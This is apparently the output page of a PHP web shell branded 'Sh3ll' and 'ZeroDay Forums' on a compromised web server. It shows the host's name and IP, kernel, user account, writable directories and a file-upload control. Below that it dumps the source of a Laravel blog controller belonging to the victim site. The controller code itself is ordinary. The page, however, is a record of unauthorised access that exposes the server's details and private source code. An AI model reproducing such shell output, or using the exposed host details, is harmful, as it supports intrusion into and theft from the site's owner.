Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/app/Modules/Blog/Http/Controllers/Frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/app/Modules/Blog/Http/Controllers/Frontend/BlogController.php
<?php
namespace App\Modules\Blog\Http\Controllers\Frontend;

use App\Http\Controllers\SiteController;
use App\Http\Requests;
use App\Modules\Banners\Repositories\BannersRepo;
use App\Modules\Blog\Http\Requests\CommentFormRequest;
use App\Modules\Blog\Models\BlogCategory;
use App\Modules\Blog\Models\BlogPost;
use App\Modules\Blog\Models\BlogPostComment;
use App\Modules\Pages\Repositories\PageRepository;
use Carbon\Carbon;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Laracasts\Flash\Flash;
use App\Modules\Notifications\Facades\NotifRepository; // code by Rishi
use App\Modules\Pages\Models\Page;


class BlogController extends SiteController
{

    /**
     * The page repository instance.
     *
     * @var pageRepository
     */
    protected $pages;

    /**
 * Create a new controller instance.
 *
 * BlogController constructor.
 * @param BannersRepo $banners
 */
    public function __construct(BannersRepo $banners, PageRepository $pages)
    {
        parent::__construct($banners);

        $this->pages = $pages;
    }

    /**
     * Blog general page
     */
    public function index()
    {
        $posts = BlogPost::orderBy('created_at','desc')->active()->limit(3)->get();
        $categories = BlogCategory::all();

        $page = Page::where('slug','=', 'blog')->active()->first();

        //get page banners
        $slides = $this->banners->getBanners($page);
        //create data array
        $this->data['posts'] = $posts;
        $this->data['categories'] = $categories;
        $this->data['slides'] = $slides;
        $promotedOffer = collect();

        if ($this->pages->get_promoted_offers()->count()>0){
            $promotedOffer = $this->pages->get_promoted_offers()->random();
        }
        $this->data['offerSlider'] = $promotedOffer;


        //render page //render page
        return view('blog::frontend_new.home',$this->data);

    }

    /**
     * Blog general page
     */
    public function category($slug)
    {
        $posts = BlogPost::active()
                        ->whereHas('category', function($query) use ($slug){
                            return $query->where('slug',$slug);
                        })
                        ->orderBy('created_at','desc')
                        ->get();

        //get page banners
        $slides = $this->banners->getFreeByPosition('top','default');

        //create data array
        $this->data['posts'] = $posts;
        $this->data['categories'] = BlogCategory::all();
        $this->data['slides']['top'] = $slides;

        $promotedOffer = collect();

        if ($this->pages->get_promoted_offers()->count()>0){
            $promotedOffer = $this->pages->get_promoted_offers()->random();
        }
        $this->data['offerSlider'] = $promotedOffer;

        //render page //render page
        return view('blog::frontend_new.category',$this->data);

    }

    /**
     * Blog Post Page
     * @param $slug
     */
    public function show($category,$slug)
    {
        //get post
        $post = BlogPost::active()
                        ->where('slug',$slug)
                        ->whereHas('category', function($query) use ($category){
                            return $query->where('slug',$category);
                        })
                        ->first();
        //abort if page does not exists
        if (!$post)
            return abort(404,'page not found');

        //get page banners
        $slides = $this->banners->getFreeByPosition('top','default');

        //create data array
        $this->data['post'] = $post;
        $this->data['posts'] = $post->siblings();
        $this->data['categories'] = BlogCategory::all();
        $this->data['comments'] = $post->comments()->active()->orderBy('created_at','desc')->get();
//        $this->data['comments'] = [];
        $this->data['slides']['top'] = $slides;

        $promotedOffer = collect();

        if ($this->pages->get_promoted_offers()->count()>0){
            $promotedOffer = $this->pages->get_promoted_offers()->random();
        }
        $this->data['offerSlider'] = $promotedOffer;

        //render page
        return view("blog::frontend_new.post_page",$this->data);

    }

    /**
     * Add new comment
     */
    public function add_comment(CommentFormRequest $request)
    {
        //get post by slug
        $post = BlogPost::where('slug',$request->slug)->first();

        //create post data array
        $data = [
            'user_name' => $request->name,
            'user_email' => $request->email,
            'user_id' => \Auth::check()?Auth::user()->id:null,
            'body' => $request->message,
            'post_id' => $post->id,
            'is_active' => 0,
        ];

        //save new post comment
        $obj = BlogPostComment::create($data);

        //create data response
        $responseData = ['message'=>'Thank you for your comment!'];

        //return response
        return response(json_encode($responseData),200);
    }
    
    /*
     * Code by Rishi 
     */

    public function sendNotification() {
        $res = NotifRepository::send();
    }

}

ZeroDay Forums Mini